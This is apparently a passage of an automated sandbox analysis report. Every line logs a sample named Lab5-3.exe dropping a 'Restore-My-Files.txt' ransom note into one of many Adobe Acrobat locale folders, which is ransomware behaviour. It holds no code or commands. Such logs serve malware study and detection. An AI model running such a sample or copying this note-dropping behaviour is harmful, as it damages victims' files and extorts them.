Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\zh-tw\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-computer-select\js\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\css\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\images\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\ca-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\cs-cz\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\da-dk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\de-de\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\en-ae\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\en-gb\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\en-il\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\es-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\eu-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\fi-fi\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\fr-fr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\fr-ma\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\hr-hr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\hu-hu\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\it-it\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\ja-jp\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\ko-kr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\nb-no\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\nl-nl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\pl-pl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\pt-br\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\ro-ro\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\root\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\ru-ru\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\sk-sk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\sl-si\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\sv-se\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\tr-tr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\uk-ua\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\zh-cn\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\nls\zh-tw\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files\js\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-files-select\js\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\ca-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\cs-cz\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\da-dk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\de-de\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\en-ae\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\en-gb\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\en-il\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\es-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\eu-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\fi-fi\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\fr-fr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\fr-ma\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\hr-hr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\hu-hu\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\it-it\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\ja-jp\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\ko-kr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\nb-no\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\nl-nl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\pl-pl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\pt-br\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\ro-ro\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\root\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\ru-ru\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\sk-sk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\sl-si\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\sv-se\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\tr-tr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\uk-ua\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\zh-cn\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\zh-tw\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files\js\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\my-recent-files-select\js\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\css\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\images\themes\dark\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\images\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\ca-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\cs-cz\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\da-dk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\de-de\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\en-ae\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\en-il\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\es-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\eu-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\fi-fi\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\fr-fr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\fr-ma\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\hr-hr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\hu-hu\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\it-it\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\ja-jp\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\ko-kr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\nb-no\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\nl-nl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\pl-pl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\pt-br\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\ro-ro\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\root\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\ru-ru\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\sk-sk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\sl-si\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\sv-se\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\tr-tr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\uk-ua\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\zh-cn\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\zh-tw\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\css\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\images\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\images\themeless\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\ca-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\cs-cz\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\da-dk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\de-de\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\en-ae\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\en-gb\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\en-il\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\es-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\eu-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\fi-fi\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\fr-fr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\fr-ma\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\hr-hr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\hu-hu\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\it-it\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\ja-jp\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\ko-kr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\nb-no\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\nl-nl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\pl-pl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\pt-br\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\ro-ro\Restore-My-Files.txt	Jump to behavior
